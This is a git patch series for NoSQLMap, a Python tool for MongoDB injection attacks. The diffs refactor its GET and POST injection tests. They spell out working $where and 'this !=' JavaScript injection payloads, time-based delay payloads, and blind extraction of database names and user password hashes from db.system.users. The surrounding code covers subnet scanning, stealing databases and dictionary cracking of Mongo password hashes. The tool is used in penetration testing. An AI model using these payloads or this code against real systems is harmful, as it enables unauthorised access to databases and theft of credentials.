$where all Javascript string escape attack for one record...\n" - print " Injecting " + uriArray[4] - - - whereOneStrLen = int(len(urllib.urlopen(uriArray[4]).read())) - whereOneStrDelta = abs(whereOneStrLen - randLength) - - if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0): - print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!" - lt24 = True - str24 = True - vulnAddrs.append(uriArray[4]) - - elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0): - print " response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[4]) - - elif (whereOneStrDelta == 0): - print "Random string response size and $where single injection were the same. Injection did not work." + print "Test 3: $where injection (integer escape)" + injLen = int(len(urllib.urlopen(uriArray[3]).read())) + checkResult(randLength,injLen,testNum) + testNum +=1 + + #Start a single record attack in case the app expects only one record back + print "\n" + if verb == "ON": + print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" + print " Injecting " + uriArray[4] else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[4]) - - print "\n" - print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" - print " Injecting " + uriArray[5] + print "Test 4: $where injection string escape (single record)" - whereOneIntLen = int(len(urllib.urlopen(uriArray[5]).read())) - whereOneIntDelta = abs(whereOneIntLen - randLength) - - if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0): - print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!" - lt24 = True - int24 = True - vulnAddrs.append(uriArray[5]) - - elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0): - print " response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[5]) - - elif (whereOneIntDelta == 0): - print "Random string response size and $where single record injection were the same. Injection did not work." - - else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[5]) - + injLen = int(len(urllib.urlopen(uriArray[4]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + print "\n" - print "Testing Mongo this not equals string escape attack for all records..." - print " Injecting " + uriArray[8] - - whereThisStrLen = int(len(urllib.urlopen(uriArray[8]).read())) - whereThisStrDelta = abs(whereThisStrLen - randLength) - - if (whereThisStrDelta >= 100) and (whereThisStrLen - randLength > 0): - print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" - vulnAddrs.append(uriArray[8]) + if verb == "ON": + print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" + print " Injecting " + uriArray[5] + else: + print "Test 5: $where injection integer escape (single record)" - elif (whereThisStrDelta > 0) and (whereThisStrDelta < 100) and (whereThisStrLen - randLength > 0): - print " response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[8]) - - elif (whereThisStrDelta == 0): - print "Random string response size and this return response size were the same. Injection did not work." - - else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[8]) + injLen = int(len(urllib.urlopen(uriArray[5]).read())) + checkResult(randLength,injLen,testNum) + testNum +=1 print "\n" - print "Testing Mongo this not equals integer escape attack for all records..." - print " Injecting " + uriArray[9] - - whereThisIntLen = int(len(urllib.urlopen(uriArray[9]).read())) - whereThisIntDelta = abs(whereThisIntLen - randLength) - - if (whereThisIntDelta >= 100) and (whereThisIntLen - randLength > 0): - print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" - vulnAddrs.append(uriArray[9]) - - elif (whereThisIntDelta > 0) and (whereThisIntDelta < 100) and (whereThisIntLen - randLength > 0): - print " response variance was only " + str(whereThisIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[9]) - - elif (whereThisIntDelta == 0): - print "Random string response size and this return response size were the same. Injection did not work." + if verb == "ON": + print "Testing Mongo this not equals string escape attack for all records..." + print " Injecting " + uriArray[6] + else: + print "Test 6: This != injection (string escape)" + injLen = int(len(urllib.urlopen(uriArray[6]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 - else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[9]) + print "\n" + if verb == "ON": + print "Testing Mongo this not equals integer escape attack for all records..." + print " Injecting " + uriArray[7] + else: + print "Test 7: This != injection (integer escape)" + injLen = int(len(urllib.urlopen(uriArray[7]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 print "\n" doTimeAttack = raw_input("Start timing based tests (y/n)? ") @@ -1233,7 +1167,7 @@ def webApps(): if doTimeAttack == "y" or doTimeAttack == "Y": print "Starting Javascript string escape time based injection..." start = time.time() - strTimeInj = urllib.urlopen(uriArray[6]) + strTimeInj = urllib.urlopen(uriArray[8]) page = strTimeInj.read() end = time.time() strTimeInj.close() @@ -1251,7 +1185,7 @@ def webApps(): print "Starting Javascript integer escape time based injection..." start = time.time() - intTimeInj = urllib.urlopen(uriArray[7]) + intTimeInj = urllib.urlopen(uriArray[9]) page = intTimeInj.read() end = time.time() intTimeInj.close() @@ -1319,8 +1253,55 @@ def webApps(): fo.close() raw_input("Press enter to continue...") - return() + return() +def checkResult(baseSize,respSize,testNum): + global vulnAddrs + global possAddrs + global lt24 + global str24 + global int24 + + delta = abs(respSize - baseSize) + if (delta >= 100) and (respSize != 0) : + if verb == "ON": + print "Response varied " + str(delta) + " bytes from random parameter value! Injection works!" + else: + print "Successful injection!" + + + vulnAddrs.append(uriArray[testNum]) + if testNum == 2 or testNum == 4: + lt24 = True + str24 = True + + elif testNum == 3 or testNum == 5: + lt24 = True + int24 = True + return + + elif (delta > 0) and (delta < 100) and (respSize != 0) : + if verb == "ON": + print "Response variance was only " + str(delta) + " bytes. Injection might have worked but difference is too small to be certain. " + else: + print "Possible injection." + possAddrs.append(uriArray[testNum]) + return + + elif (delta == 0): + if verb == "ON": + print "Random string response size and not equals injection were the same. Injection did not work." + else: + print "Injection failed." + return + else: + if verb == "ON": + print "Injected response was smaller than random response. Injection may have worked but requires verification." + else: + print "Possible injection." + possAddrs.appends(uriArray[testNum]) + return + def randInjString(size): print "What format should the random string take?" print "1-Alphanumeric" @@ -1419,10 +1400,10 @@ def buildUri(origUri, randValue): uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&" - uriArray[6] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" - uriArray[7] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" - uriArray[8] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" - uriArray[9] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" + uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" + uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" + uriArray[8] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" + uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy=\"!" + "&" uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy=\"!" + "&" uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" @@ -1654,7 +1635,7 @@ def getDBInfo(): print "Calculating DB name length..." while gotNameLen == False: - calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} vardum='a" + "&") + calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&") #print "Debug: " + calcUri lenUri = int(len(urllib.urlopen(calcUri).read())) #print "Debug length: " + str(lenUri) @@ -1668,7 +1649,7 @@ def getDBInfo(): print "Database Name: ", while gotDbName == False: - charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } vardum='a" + "&") + charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&") #print "Debug: " + charUri lenUri = int(len(urllib.urlopen(charUri).read())) From 2c4e4866ac77a33a21ee712eb8a813fe4d1e37c7 Mon Sep 17 00:00:00 2001 From: tcstool Date: Tue, 18 Mar 2014 10:02:20 -0500 Subject: [PATCH 040/207] POST reqs now uses result checking function --- nosqlmap.py | 317 +++++++++++----------------------------------------- 1 file changed, 65 insertions(+), 252 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 9297abd..c1edd06 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -83,7 +83,7 @@ def mainMenu(): #Check minimum required options if (optionSet[0] == True) and (optionSet[2] == True): if httpMethod == "GET": - webApps() + getApps() else: postApps() @@ -193,7 +193,7 @@ def options(): elif select == "4": httpMethod = True - while httpMethod: + while httpMethod == True: print "1-Send request as a GET" print "2-Send request as a POST" @@ -503,7 +503,9 @@ def postApps(): print "===============" paramName = [] paramValue = [] + global vulnAddrs vulnAddrs = [] + global possAddrs possAddrs = [] timeVulnsStr = [] timeVulnsInt = [] @@ -512,8 +514,9 @@ def postApps(): intTbAttack = False trueStr = False trueInt = False - lt24 = False global postData + global neDict + testNum = 1 #Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." @@ -603,46 +606,11 @@ def postApps(): else: print "Test 1: PHP associative array injection" - injLen = int(len(urllib2.urlopen(req).read())) - - if verb == "ON": - print "Got response length of " + str(injLen) + "." - - randInjDelta = abs(injLen - randLength) - - if (randInjDelta >= 100) and (injLen != 0) : - if verb == "ON": - print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter value! Injection works!" - - else: - print "Successful injection!" - - vulnAddrs.append(str(neDict)) - - elif (randInjDelta > 0) and (randInjDelta < 100) and (injLen != 0) : - if verb == "ON": - print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. " - - else: - print "Possible injection." - - possAddrs.append(str(neDict)) + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + print "\n" - elif (randInjDelta == 0): - if verb == "ON": - print "Random string response size and not equals injection were the same. Injection did not work." - - else: - print "Injection failed." - else: - if verb == "ON": - print "Injected response was smaller than random response. Injection may have worked but requires verification." - - else: - print "Possible injection." - - possAddrs.append(str(neDict)) - #Delete the extra key del postData[injOpt + "[$ne]"] postData.update({injOpt:"a'; return db.a.find(); var dummy='!"}) @@ -655,47 +623,11 @@ def postApps(): else: print "Test 2: $where injection (string escape)" - whereStrLen = int(len(urllib2.urlopen(req).read())) - whereStrDelta = abs(whereStrLen - randLength) - - if (whereStrDelta >= 100) and (whereStrLen > 0): - if verb == "ON": - print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!" - else: - print "Successful injection!" - lt24 = True - str24 = True - vulnAddrs.append(str(postData)) - - - - - elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0): - if verb == "ON": - print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - - else: - print "Possible injection." - - possAddrs.append(str(postData)) - - elif (whereStrDelta == 0): - if verb == "ON": - print "Random string response size and $where injection were the same. Injection did not work." - - else: - print "Injection failed." - - else: - if verb == "ON": - print "Injected response was smaller than random response. Injection may have worked but requires verification." - - else: - print "Injection failed." - - possAddrs.append(str(postData)) - + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 print "\n" + postData.update({injOpt:"1; return db.a.find(); var dummy=1"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) @@ -706,40 +638,12 @@ def postApps(): print "Test 3: $where injection (integer escape)" - whereIntLen = int(len(urllib2.urlopen(req).read())) - whereIntDelta = abs(whereIntLen - randLength) - - if (whereIntDelta >= 100) and (whereIntLen - randLength > 0): - if verb == "ON": - print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!" - else: - print "Successful injection!" - lt24 = True - int24 = True - vulnAddrs.append(str(postData)) - - elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0): - if verb == "ON": - print "Response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - else: - print "Possible injection. " - possAddrs.append(str(postData)) - - elif (whereIntDelta == 0): - if verb == "ON": - print "Random string response size and $where injection were the same. Injection did not work." - else: - print "Injection failed." - - else: - if verb == "ON": - print "Injected response was smaller than random response. Injection may have worked but requires verification." - else: - print "Possible injection." - possAddrs.append(str(postData)) - + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + print "\n" + #Start a single record attack in case the app expects only one record back - postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) @@ -750,39 +654,11 @@ def postApps(): else: print "Test 4: $where injection string escape (single record)" - whereOneStrLen = int(len(urllib2.urlopen(req).read())) - whereOneStrDelta = abs(whereOneStrLen - randLength) - - if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0): - if verb == "ON": - print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!" - else: - print "Successful injection!" - lt24 = True - str24 = True - vulnAddrs.append(str(postData)) - - elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0): - if verb == "ON": - print "response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - else: - print "Possible injection." - possAddrs.append(str(postData)) - - elif (whereOneStrDelta == 0): - if verb == "ON": - print "Random string response size and $where single injection were the same. Injection did not work." - else: - print "Injection failed." - - else: - if verb == "ON": - print "Injected response was smaller than random response. Injection may have worked but requires verification." - else: - print "Possible injection." - possAddrs.append(str(postData)) - + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 print "\n" + postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) @@ -794,42 +670,11 @@ def postApps(): print "Test 5: $where injection integer escape (single record)" - whereOneIntLen = int(len(urllib2.urlopen(req).read())) - whereOneIntDelta = abs(whereOneIntLen - randLength) - - if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0): - if verb == "ON": - print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!" - - else: - print "Successful Injection!" - lt24 = True - int24 = True - vulnAddrs.append(str(postData)) - - elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0): - if verb == "ON": - print "response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - - else: - print "Possible injection." - possAddrs.append(postData) - - elif (whereOneIntDelta == 0): - if verb == "ON": - print "Random string response size and $where single record injection were the same. Injection did not work." - - else: - print "Injection failed." - - else: - if verb == "ON": - print "Injected response was smaller than random response. Injection may have worked but requires verification." - else: - print "Possible injection." - possAddrs.append(str(postData)) - + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 print "\n" + postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) @@ -841,77 +686,26 @@ def postApps(): else: print "Test 6: This != injection (string escape)" - whereThisStrLen = int(len(urllib2.urlopen(req).read())) - whereThisStrDelta = abs(whereThisStrLen - randLength) - - if (whereThisStrDelta >= 100) and (whereThisStrLen - randLength > 0): - if verb == "ON": - print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" - else: - print "Injection successful!" - vulnAddrs.append(str(postData)) - - elif (whereThisStrDelta > 0) and (whereThisStrDelta < 100) and (whereThisStrLen - randLength > 0): - if verb == "ON": - print "Response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - else: - print "Possible injection." - possAddrs.append(str(postData)) - - elif (whereThisStrDelta == 0): - if verb == "ON": - print "Random string response size and this return response size were the same. Injection did not work." - else: - print "Injection failed." - - else: - if verb == "ON": - print "Injected response was smaller than random response. Injection may have worked but requires verification." - else: - print "Possible injection." - possAddrs.append(str(postData)) - + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 print "\n" + postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) + if verb == "ON": print "Testing Mongo this not equals integer escape attack for all records..." print " Injecting " + str(postData) else: print "Test 7: This != injection (integer escape)" - whereThisIntLen = int(len(urllib2.urlopen(req).read())) - whereThisIntDelta = abs(whereThisIntLen - randLength) - - if (whereThisIntDelta >= 100) and (whereThisIntLen - randLength > 0): - if verb == "ON": - print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" - else: - print "Injection successful!" - vulnAddrs.append(str(postData)) - - elif (whereThisIntDelta > 0) and (whereThisIntDelta < 100) and (whereThisIntLen - randLength > 0): - if verb == "ON": - print " response variance was only " + str(whereThisIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - else: - print "Possible injection." - possAddrs.append(str(postData)) - - elif (whereThisIntDelta == 0): - if verb == "ON": - print "Random string response size and this return response size were the same. Injection did not work." - else: - print "Injection failed." - - else: - if verb == "ON": - print "Injected response was smaller than random response. Injection may have worked but requires verification." - else: - print "Possible injection." - possAddrs.append(str(postData)) - + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 print "\n" + doTimeAttack = raw_input("Start timing based tests (y/n)? ") if doTimeAttack == "y" or doTimeAttack == "Y": @@ -979,10 +773,10 @@ def postApps(): if fileOut == "y" or fileOut == "Y": savePath = raw_input("Enter output file name: ") fo = open(savePath, "wb") - fo.write ("Vulnerable URLs:\n") + fo.write ("Vulnerable Requests:\n") fo.write("\n".join(vulnAddrs)) fo.write("\n\n") - fo.write("Possibly Vulnerable URLs:\n") + fo.write("Possibly Vulnerable Requests:\n") fo.write("\n".join(possAddrs)) fo.write("\n") fo.write("Timing based attacks:\n") @@ -1003,7 +797,7 @@ def postApps(): raw_input("Press enter to continue...") return() -def webApps(): +def getApps(): print "Web App Attacks (GET)" print "===============" paramName = [] @@ -1088,10 +882,7 @@ def webApps(): print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." else: print "Test 1: PHP associative array injection" - injLen = int(len(urllib.urlopen(uriArray[1]).read())) - - if verb == "ON": - print "Got response length of " + str(injLen) + "." + injLen = int(len(urllib.urlopen(uriArray[1]).read())) checkResult(randLength,injLen,testNum) testNum += 1 print "\n" @@ -1261,6 +1052,9 @@ def checkResult(baseSize,respSize,testNum): global lt24 global str24 global int24 + global httpMethod + global neDict + global postData delta = abs(respSize - baseSize) if (delta >= 100) and (respSize != 0) : @@ -1269,8 +1063,14 @@ def checkResult(baseSize,respSize,testNum): else: print "Successful injection!" + if httpMethod == "GET": + vulnAddrs.append(uriArray[testNum]) + else: + if testNum == 1: + vulnAddrs.append(str(neDict)) + else: + vulnAddrs.append(str(postData)) - vulnAddrs.append(uriArray[testNum]) if testNum == 2 or testNum == 4: lt24 = True str24 = True @@ -1285,7 +1085,14 @@ def checkResult(baseSize,respSize,testNum): print "Response variance was only " + str(delta) + " bytes. Injection might have worked but difference is too small to be certain. " else: print "Possible injection." - possAddrs.append(uriArray[testNum]) + + if httpMethod == "GET": + possAddrs.append(uriArray[testNum]) + else: + if testNum == 1: + possAddrs.append(str(neDict)) + else: + possAddrs.append(str(postData)) return elif (delta == 0): @@ -1299,7 +1106,13 @@ def checkResult(baseSize,respSize,testNum): print "Injected response was smaller than random response. Injection may have worked but requires verification." else: print "Possible injection." - possAddrs.appends(uriArray[testNum]) + if httpMethod == "GET": + possAddrs.appends(uriArray[testNum]) + else: + if testNum == 1: + possAddrs.append(str(neDict)) + else: + possAddrs.append(str(postData)) return def randInjString(size): From 9794ab300563d5d0167cbbb8eb3389968274aacb Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 20 Mar 2014 20:14:36 -0500 Subject: [PATCH 041/207] Finished 0.3 code cleanup, two bug fixes --- nosqlmap.py | 43 +++++++++---------------------------------- 1 file changed, 9 insertions(+), 34 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index c1edd06..0127e63 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -279,11 +279,8 @@ def options(): myPort = optList[5] if httpMethod == "POST": - postData = csvOpt[1] + postData = ast.literal_eval(csvOpt[1]) - - - #Set option checking array based on what was loaded x = 0 for item in optList: @@ -528,7 +525,6 @@ def postApps(): req = urllib2.Request(appURL,body) appRespCode = urllib2.urlopen(req).getcode() - #normLength = int(len(urllib.urlopen(appURL).read())) if appRespCode == 200: normLength = int(len(urllib2.urlopen(req).read())) @@ -542,7 +538,6 @@ def postApps(): if verb == "ON": print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" - else: print "App is up!" appUp = True @@ -572,9 +567,8 @@ def postApps(): injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" - #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. - #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. + #Add error handling for Non-200 HTTP response codes if random strings freak out the app. postData.update({injOpt:injectString}) if verb == "ON": print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" @@ -637,7 +631,6 @@ def postApps(): else: print "Test 3: $where injection (integer escape)" - injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 @@ -669,7 +662,6 @@ def postApps(): else: print "Test 5: $where injection integer escape (single record)" - injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 @@ -821,8 +813,7 @@ def getApps(): str24 = False global int24 int24 = False - - + #Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." @@ -839,8 +830,6 @@ def getApps(): timeReq.close() timeBase = round((end - start), 3) - - if verb == "ON": print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" @@ -870,7 +859,6 @@ def getApps(): randLength = int(len(urllib.urlopen(randomUri).read())) print "Got response length of " + str(randLength) + "." - randNormDelta = abs(normLength - randLength) if randNormDelta == 0: @@ -1140,8 +1128,7 @@ def randInjString(size): elif format == "4": chars = string.ascii_letters + string.digits - return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' - + return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' else: format = True print "Invalid selection." @@ -1158,7 +1145,7 @@ def buildUri(origUri, randValue): try: split_uri = origUri.split("?") params = split_uri[1].split("&") - + except: raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...") return @@ -1174,17 +1161,15 @@ def buildUri(origUri, randValue): print str(menuItem) + "-" + params menuItem += 1 - - try: injIndex = raw_input("Which parameter should we inject? ") injOpt = str(paramName[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." + except: raw_input("Something went wrong. Press enter to return to the main menu...") return - x = 0 uriArray[0] = split_uri[0] + "?" uriArray[1] = split_uri[0] + "?" @@ -1297,7 +1282,7 @@ def stealDBs(myDB): stealDBs(myDB) else: - return() + return except: if str(sys.exc_info()).find('text search not enabled') != -1: @@ -1323,7 +1308,6 @@ def massMongo(): while optCheck: loadOpt = raw_input("Select a scan method: ") - if loadOpt == "1": subnet = raw_input("Enter subnet to scan: ") @@ -1393,7 +1377,6 @@ def massMongo(): def gen_pass(user, passw): return md5(user + ":mongo:" + str(passw)).hexdigest(); - def brute_pass(user,key): loadCheck = False @@ -1406,7 +1389,6 @@ def brute_pass(user,key): except: print " Couldn't load file." - print "Running dictionary attack..." for passGuess in passList: temp = passGuess.split("\n")[0] @@ -1444,7 +1426,6 @@ def getDBInfo(): baseLen = int(len(urllib.urlopen(trueUri).read())) print "Got baseline true query length of " + str(baseLen) - print "Calculating DB name length..." while gotNameLen == False: @@ -1463,12 +1444,8 @@ def getDBInfo(): print "Database Name: ", while gotDbName == False: charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&") - #print "Debug: " + charUri - lenUri = int(len(urllib.urlopen(charUri).read())) - #print "debug: " + str(charCounter) - #print "Debug length: " + str(lenUri) - + if lenUri == baseLen: dbName = dbName + chars[charCounter] print chars[charCounter], @@ -1599,14 +1576,12 @@ def getDBInfo(): rightCharsUsr = 0 usrChars = 0 - while rightCharsHash < 32: #Hash length is static hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&") lenUri = int(len(urllib.urlopen(hashUri).read())) if lenUri == baseLen: pwdHash = pwdHash + chars[charCounterHash] - #print pwdHash rightCharsHash += 1 charCounterHash = 0 @@ -1641,4 +1616,4 @@ def signal_handler(signal, frame): print "CTRL+C detected. Exiting." sys.exit() signal.signal(signal.SIGINT, signal_handler) -mainMenu() +mainMenu() \ No newline at end of file From 3e9b57e7df1699a2773b840700a82d715e18a239 Mon Sep 17 00:00:00 2001 From: tcstool Date: Wed, 26 Mar 2014 18:32:58 -0500 Subject: [PATCH 042/207] Added targets by hostname, non-default port attacks --- nosqlmap.py | 73 ++++++++++++++++++++++++++++++----------------------- 1 file changed, 42 insertions(+), 31 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 0127e63..e7dfdbc 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -34,7 +34,7 @@ #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet -optionSet = [False,False,False,False,False,False,False] +optionSet = [False,False,False,False,False,False,False,False] global victim global webPort global uri @@ -112,6 +112,7 @@ def options(): global myPort global verb global mmSelect + global dbPort #Set default value if needed if optionSet[0] == False: @@ -129,7 +130,8 @@ def options(): myPort = "Not Set" if optionSet[6] == False: verb = "OFF" - + if optionSet[7] == False: + dbPort = 27017 optSelect = True while optSelect: @@ -138,13 +140,14 @@ def options(): print "1-Set target host/IP (Current: " + str(victim) + ")" print "2-Set web app port (Current: " + str(webPort) + ")" print "3-Set App Path (Current: " + str(uri) + ")" - print "4-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")" - print "5-Set my local Mongo/Shell IP (Current: " + str(myIP) + ")" - print "6-Set shell listener port (Current: " + str(myPort) + ")" - print "7-Toggle Verbose Mode: (Current: " + str(verb) + ")" - print "8-Load options file" - print "9-Load options from saved Burp request" - print "0-Save options file" + print "4-Set MongoDB Port (Current : " + str(dbPort) + ")" + print "5-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")" + print "6-Set my local Mongo/Shell IP (Current: " + str(myIP) + ")" + print "7-Set shell listener port (Current: " + str(myPort) + ")" + print "8-Toggle Verbose Mode: (Current: " + str(verb) + ")" + print "9-Load options file" + print "0-Load options from saved Burp request" + print "a-Save options file" print "x-Back to main menu" select = raw_input("Select an option: ") @@ -152,32 +155,34 @@ def options(): if select == "1": #Unset the boolean if it's set since we're setting it again. optionSet[0] = False - goodLen = False - goodDigits = False + ipLen = False + while optionSet[0] == False: + goodDigits = True + notDNS = True victim = raw_input("Enter the host IP/DNS name: ") #make sure we got a valid IP octets = victim.split(".") - #If there aren't 4 octets, toss an error. - if len(octets) != 4: - print "Invalid IP length." - else: - goodLen = True + if len(octets) != 4: + #Treat this as a DNS name + optionSet[0] = True + notDNS = False - if goodLen == True: #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. - for item in octets: + for item in octets: + try: if int(item) < 0 or int(item) > 255: print "Bad octet in IP address." goodDigits = False + + except: + #Must be a DNS name (for now) - else: - goodDigits = True - + notDNS = False #If everything checks out set the IP and break the loop - if goodLen == True and goodDigits == True: + if goodDigits == True or notDNS == False: print "\nTarget set to " + victim + "\n" optionSet[0] = True @@ -190,8 +195,13 @@ def options(): uri = raw_input("Enter URI Path (Press enter for no URI): ") print "\nURI Path set to " + uri + "\n" optionSet[2] = True - + elif select == "4": + dbPort = int(raw_input("Enter target MongoDB port: ")) + print "\nTarget Mongo Port set to " + str(dbPort) + "\n" + optionSet[7] = True + + elif select == "5": httpMethod = True while httpMethod == True: @@ -216,7 +226,7 @@ def options(): else: print "Invalid selection" - elif select == "5": + elif select == "6": #Unset the setting boolean since we're setting it again. optionSet[4] = False goodLen = False @@ -248,12 +258,12 @@ def options(): print "\nShell/DB listener set to " + myIP + "\n" optionSet[4] = True - elif select == "6": + elif select == "7": myPort = raw_input("Enter TCP listener for shells: ") print "Shell TCP listener set to " + myPort + "\n" optionSet[5] = True - elif select == "7": + elif select == "8": if verb == "OFF": 